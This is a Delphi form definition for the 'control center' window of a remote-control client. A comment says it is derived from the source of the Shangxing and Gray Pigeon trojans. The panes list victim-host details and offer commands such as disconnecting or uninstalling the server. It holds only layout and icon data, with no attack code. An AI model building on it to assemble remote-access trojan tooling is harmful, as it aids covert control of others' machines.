unitformcontrol.dfm

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

object FormControl: TFormControl
  Left = 290
  Top = 124
  AutoScroll = False
  BorderIcons = []
  Caption = #25511#21046#20013#24515'(control center)'
  ClientHeight = 484
  ClientWidth = 534
  Color = clBtnFace
  Constraints.MinHeight = 476
  Constraints.MinWidth = 542
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  Icon.Data = {
    0000010001001010000001002000680400001600000028000000100000002000
    000001002000000000004004000000000000000000000000000000000000FFFF
    FF00FFFFFF00FEFEFE009C9C9CE07E7E7EE0797979E0747474E0737373E09898
    98E0FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
    FF00FFFFFF00F7F7F700939393FFCAC8C8FFD4D3D2FFD1CFCEFFC7C6C6FF8989
    89FFFFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
    FF00FFFFFF00FDFDFD00C7C7C7FFAEAEAEFFC7C5C4FFD5D0CFFF8F8F8FFFA4A4
    A4FF9B9B9BFF848484FF818181FF7D7D7DFF797979FF787878FF898989E0D4D4
    D4FFBEBEBEFFB9B9B9FFB0B0B0FFA0A0A0FFA2A2A2FFA1A0A0FF848484FF8888
    88FF878786FF878685FFA19E9EFFC5C1C0FFC7C3C2FFC9C6C6FF666666E0B2B2
    B2FFDEDCDCFFD2D0D0FFCFCECDFFCAC8C7FFC4BFBEFFC2BDBDFFC3C0BFFFC3C1
    C1FFC4C2C2FFC3C1C1FF82807FFFBCB4B1FFBDB6B5FFC7C3C2FF676767E0B3B3
    B3FFE0DDDDFFAD7E5EFFAC7E5DFFAC7D5DFFAB7C5BFFAB7C5BFFAB7C5CFFAB7D
    5CFFB1886BFFCDC9C8FF7F7E7EFFB9B1B0FFBCB4B2FFC6C2C1FF6C6C6CE0B9B9
    B9FFDEDBDBFFB37E58FFC9936BFFD1A688FFD2A788FFD2A788FFD3A585FFCA95
    6DFFAD7E5DFFCCC8C6FF848483FFBAB3B2FFBDB6B4FFC7C4C3FF727272E0BFBF
    BFFFDEDBDBFFB47F59FFCB956EFFCE9973FFD09B75FFD29D75FFD39E77FFCE98
    70FFAD7E5DFFCCC9C8FF7C877CFF4AA14EFF599F57FFC9C5C4FF777777E0C4C4
    C4FFE0DDDCFFB37D58FFC7916BFFC9936DFFCB956EFFCD9770FFCF9971FFCC96
    6EFFAD7E5DFFCECBCAFF8B918BFF8ABF8FFF5EAB61FFCBC8C6FF7D7D7DE0CACA
    CAFFE1DFDEFFB17C57FFC48E68FFC6906AFFC8926BFFCA946DFFCC966FFFC993
    6BFFAD7E5EFFD1CDCDFF979696FFC0BAB8FFC2BCBBFFCCC9C9FF848484E0CECE
    CEFFE2DFDFFFB07B56FFB17B56FFB17C57FFB27D58FFB37E58FFB47F59FFB37E
    58FFAD7E5EFFD3D0CFFF969696FF8C8C8CFF939393FFCFCBCAFF8B8B8BE0D3D3
    D3FFF1EFEFFFE2DFDFFFE2DFDFFFE1DFDEFFE1DEDDFFE0DDDCFFDEDBDBFFDEDB
    DAFFDFDDDBFFE3E2E1FFA2A2A2FFC4BEBDFFC5C0BEFFD0CDCCFF919191E0D7D7
    D7FFD3D3D3FFD0D0D0FFCCCCCCFFC8C8C8FFC3C3C3FFBFBFBFFFB9B9B9FFB4B4
    B4FFAFAFAFFFA9A9A9FFA2A2A2FF939292FF9B9999FFD2CFCEFF989898E0FFFF
    FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00F1F1F100D1D1D1FFE0E0E0FFE6E6
    E5FFCEC9C8FFCAC5C4FFC9C3C2FFC7C2C1FFC9C4C3FFD4D1D0FF9E9E9EE0FFFF
    FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FCFCFC00DCDCDCFFDDDC
    DCFFE5E2E2FFE0DDDCFFDFDCDBFFDEDBDBFFE0DDDDFFE4E3E3FFA5A5A5E0FFFF
    FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FBFBFB00DDDD
    DDFFC9C9C9FFC3C3C3FFBFBFBFFFBABABAFFB5B5B5FFB3B3B3FFC8C8C8E01F80
    00001F8000001FFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF
    0000FFFF0000FFFF0000FFFF0000FFFF000003FF000001FF000000FF0000}
  OldCreateOrder = False
  Position = poMainFormCenter
  OnCreate = FormCreate
  PixelsPerInch = 96
  TextHeight = 13
  object StatusBar: TStatusBar
    Left = 0
    Top = 462
    Width = 534
    Height = 22
    Panels = <
      item
        Text = #29366#24577
        Width = 100
      end
      item
        Bevel = pbNone
        Width = 50
      end>
  end
  object PageControl: TPageControl
    Left = 0
    Top = 0
    Width = 534
    Height = 462
    ActivePage = TabServidor
    Align = alClient
    Images = IconsArchivos
    MultiLine = True
    TabOrder = 1
    object TabServidor: TTabSheet
      Caption = #26381#21153#31471'(Server)'
      ImageIndex = 34
      object ListViewServidor: TListView
        Left = 0
        Top = 0
        Width = 526
        Height = 354
        Align = alClient
        BevelInner = bvNone
        BevelOuter = bvRaised
        BevelKind = bkFlat
        BorderStyle = bsNone
        Columns = <
          item
            Caption = #26631#39064
            Width = 194
          end
          item
            Caption = #20869#23481
            Width = 300
          end>
        GridLines = True
        Items.Data = {
          FA0000000800000000000000FFFFFFFFFFFFFFFF01000000000000000AB7FECE
          F1B6CBB0E6B1BE0000000000FFFFFFFFFFFFFFFF010000000000000008CAB6B1
          F0B1EABCC70000000000FFFFFFFFFFFFFFFF0100000000000000000000000000
          FFFFFFFFFFFFFFFF01000000000000000649502F444E530000000000FFFFFFFF
          FFFFFFFF010000000000000004B6CBBFDA0000000000FFFFFFFFFFFFFFFF0100
          0000000000000CBCECB2E2BCE4B8F428C3EB290000000000FFFFFFFFFFFFFFFF
          0100000000000000000000000000FFFFFFFFFFFFFFFF01000000000000000AB7
          FECEF1B6CBBDF8B3CC00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF}
        TabOrder = 0
        ViewStyle = vsReport
      end
      object Panel2: TPanel
        Left = 0
        Top = 354
        Width = 526
        Height = 41
        Align = alBottom
        TabOrder = 1
        DesignSize = (
          526
          41)
        object BtnEnviarComandoServidor: TSpeedButton
          Left = 246
          Top = 11
          Width = 91
          Height = 22
          Anchors = [akRight, akBottom]
          Caption = #21457#36865'(send)'
          Flat = True
          Font.Charset = ANSI_CHARSET
          Font.Color = clBlack
          Font.Height = -11
          Font.Name = 'MS Sans Serif'
          Font.Style = []
          Glyph.Data = {
            36030000424D3603000000000000360000002800000010000000100000000100
            18000000000000030000120B0000120B00000000000000000000D8E9ECD8E9EC
            D8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9EC118531037B1ED5E7
            E9D8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8
            E9ECD8E9ECD8E9EC128B3A43A15F2B9148D3E6E7D8E9ECD8E9ECD8E9ECD8E9EC
            D8E9ECD8E9ECD8E9ECD8E9EC2298521C924A179044118C3C3A9F5E80C19646A3
            62279044D2E6E6D8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9EC299B5B90
            CAA98DC8A58AC6A188C59E6AB68582C29748A566228E41D0E5E5D8E9ECD8E9EC
            D8E9ECD8E9ECD8E9ECD8E9EC319F6394CDAD6FBA8E6BB88966B68561B38067B5
            8283C2983CA05C05812AD8E9ECD6E7EABBC9CB5C5E5E696A6A6E6F6F37A36B96
            CEB094CDAD91CBAA90CBA874BC908AC7A146A5680A8938D7E9EBD8E9ECBCCACD
            636566929393ADAEAFAEAEAE3DA56F38A26D34A067319D6255AF7C91CBAA4FAB
            74198E46BBCACCD8E9ECD8E9EC929C9D6E6F6FBAC3C5777B7C44444446464651
            51515151514646463298605AB3812898576E6F6F929C9DD8E9ECD8E9EC7E8687
            858585BCC6C8D3E3E6464747BDBDBDCECECEC2C2C2ADADAD399C69319F65BCC6
            C88585857E8687D8E9ECD8E9ECA5B1B3797A7AD5D6D77D82824D4D4D65656592
            92927979796565654D4D4D7D8282AEB0B0797A7AA5B1B3D8E9ECD8E9ECD4E5E8
            8C9495919191E8E8E8DDDDDDC1C1C18C8E8F919596D9D9DADDDDDDC4C4C49191
            918C9495D4E5E8D8E9ECD8E9ECD8E9ECD1E2E4A6AFB08B8C8C9E9E9E878989C1
            CED0CEDDE0888B8B9E9E9E8B8C8CA6AFB0D1E2E4D8E9ECD8E9ECD8E9ECD8E9EC
            D8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9
            ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8
            E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9EC
            D8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9
            ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8
            E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9EC}
          ParentFont = False
          OnClick = BtnEnviarComandoServidorClick
        end
        object BtnActualizarServidorInfo: TSpeedButton
          Left = 374
          Top = 11
          Width = 99
          Height = 22
          Cursor = crHandPoint
          Anchors = [akRight, akBottom]
          Caption = #21047#26032'(Refresh)'
          Flat = True
          Glyph.Data = {
            36030000424D3603000000000000360000002800000010000000100000000100
            18000000000000030000120B0000120B00000000000000000000FFFFFFFFFFFF
            FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCFDFD6E9B70FFFFFFFFFFFFFFFF
            FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
            FFFF6197654F8853FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFB493D59D74
            D19668CE9263CB8E5EC98A5BC7875666945B569D5E53995A2A712F266B2B2366
            274C723AC6D7C7FFFFFFD7A175F8F2EDF7F0EAF6EDE6F4EAE2F3E7DE529A5860
            A7688DCD978ACB9487CA9184C98E81C88C60A7684D8250C6D7C7D9A47AF9F3EE
            EBD2BEFFFFFFEBD3BFFFFFFFFFFFFF75B17B62A96A5DA46535803B317A365197
            5882C88D5BA1637AA27CDDA87EF9F3EFEBD0BAEBD0BBEBD0BBF4E6DAF4EFE7F9
            F1EC70AB72609F62F4E6D9F4E6D96197632D7533296F2E407C44DFAA82F9F3EF
            EACEB7FFFFFFEBD0BBFFFFFFFFFFFFFFFFFFF9F2EC82B886FFFFFFFFFFFFF7F0
            EBC88D5FFFFFFFFFFFFFE1AE87FAF4F0EACBB2EACCB3EACCB3F6E9DEF9F1EAF9
            F2EBF3E5D9F5E6DBF3E3D77CAC78F5EFE9C48654FFFFFFFFFFFFE3B18CFAF6F1
            EAC9AEFFFFFFEAC9B074C57E5DB8685AB3647CBB7DFFFFFFFFFFFF68AC6F6EAA
            72C58655F8FBF8FFFFFFE5B48FFAF6F2E9C6AAE9C6ACEAC7AC9ECF988ECF97AA
            D9B17AC38357AF6152A95C6FB7786BB37468924FFFFFFFFFFFFFE7B794FBF7F4
            E9C3A6FFFFFFE8C4A9D9F1DC84CF8D94D29CABDAB2A8D9AFA5D8ADA2D6AA9FD5
            A76CB4745FA566FFFFFFE9BA98FBF7F4E9C3A6E9C3A6E9C3A6EFD3BDD3E0C38B
            CF9063C06F60BC6B5DB76779C28275BE7E73A15CFFFFFFFFFFFFEBBD9BFBF7F4
            FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7AC58382C5
            89D1976AFFFFFFFFFFFFECBF9EFBF7F49CD5A598D3A194D09D90CE988BCB9387
            C98EA3D5A8B9DFBCCDE8CF7FC987F9F6F2D49B6FFFFFFFFFFFFFEFC6A8FBF7F4
            FBF7F4FBF7F4FBF7F4FBF7F4FBF7F4FBF7F4FBF7F4FBF7F4FBF7F4FBF7F4FBF7
            F4D8A378FFFFFFFFFFFFF7E1D2F1C8ACEDC09FEBBE9DEBBC9AE9BA96E7B793E6
            B590E4B28CE2AF88E0AC84DDA980DCA57DE2B696FFFFFFFFFFFF}
          OnClick = BtnActualizarServidorInfoClick
        end
        object ComboBoxGestionDeServidor: TComboBox
          Left = 13
          Top = 12
          Width = 175
          Height = 21
          BevelInner = bvNone
          BevelKind = bkFlat
          BevelOuter = bvRaised
          Anchors = [akLeft, akRight, akBottom]
          ItemHeight = 13
          TabOrder = 0
          Text = '<'#25511#21046#21629#20196#36873#25321'>'
          Items.Strings = (
            #26029#24320#36830#25509
            #21368#36733#26381#21153#31471)
        end
      end
    end
    object TabInfo: TTabSheet
      Caption = #20449#24687'(Information)'
      ImageIndex = 28
      object ListViewInformacion: TListView
        Left = 0
        Top = 0
        Width = 526
        Height = 354
        Align = alClient
        BevelInner = bvNone
        BevelOuter = bvRaised
        BevelKind = bkFlat
        BorderStyle = bsNone
        Columns = <
          item
            Caption = #25551#36848
            Width = 150
          end
          item
            Caption = #20449#24687
            Width = 300
          end>
        GridLines = True
        Items.Data = {
          430100000A0000002F000000FFFFFFFFFFFFFFFF01000000000000000CB2D9D7
          F7CFB5CDB3D0C5CFA20032000000FFFFFFFFFFFFFFFF01000000000000000743
          5055D0C5CFA20033000000FFFFFFFFFFFFFFFF010000000000000008BCA4BBEE
          CAB1BCE40035000000FFFFFFFFFFFFFFFF010000000000000008CDA3D6B9CAB1
          BCE40030000000FFFFFFFFFFFFFFFF010000000000000008C9B1B6BEC8EDBCFE
          002E000000FFFFFFFFFFFFFFFF010000000000000006B7C0BBF0C7BD00220000
          00FFFFFFFFFFFFFFFF010000000000000006D6F7BBFAC3FB0031000000FFFFFF
          FFFFFFFFFF010000000000000006D3C3BBA7C3FB0034000000FFFFFFFFFFFFFF
          FF010000000000000006B7D6B1E6C2CA0012000000FFFFFFFFFFFFFFFF010000
          000000000008D3B2C5CCB4F3D0A100FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
          FFFFFF}
        RowSelect = True
        SmallImages = IconsArchivos
        TabOrder = 0
        ViewStyle = vsReport
      end
      object Panel3: TPanel
        Left = 0
        Top = 354
        Width = 526
        Height = 41
        Align = alBottom
        TabOrder = 1
        DesignSize = (
          526
          41)
        object BtnRefrescarInformacion: TSpeedButton
          Left = 382
          Top = 11
          Width = 131
          Height = 22
          Cursor = crHandPoint
          Anchors = [akRight, akBottom]
          Caption = #21047#26032'(Refresh)'
          Flat = True
          Glyph.Data = {
            36030000424D3603000000000000360000002800000010000000100000000100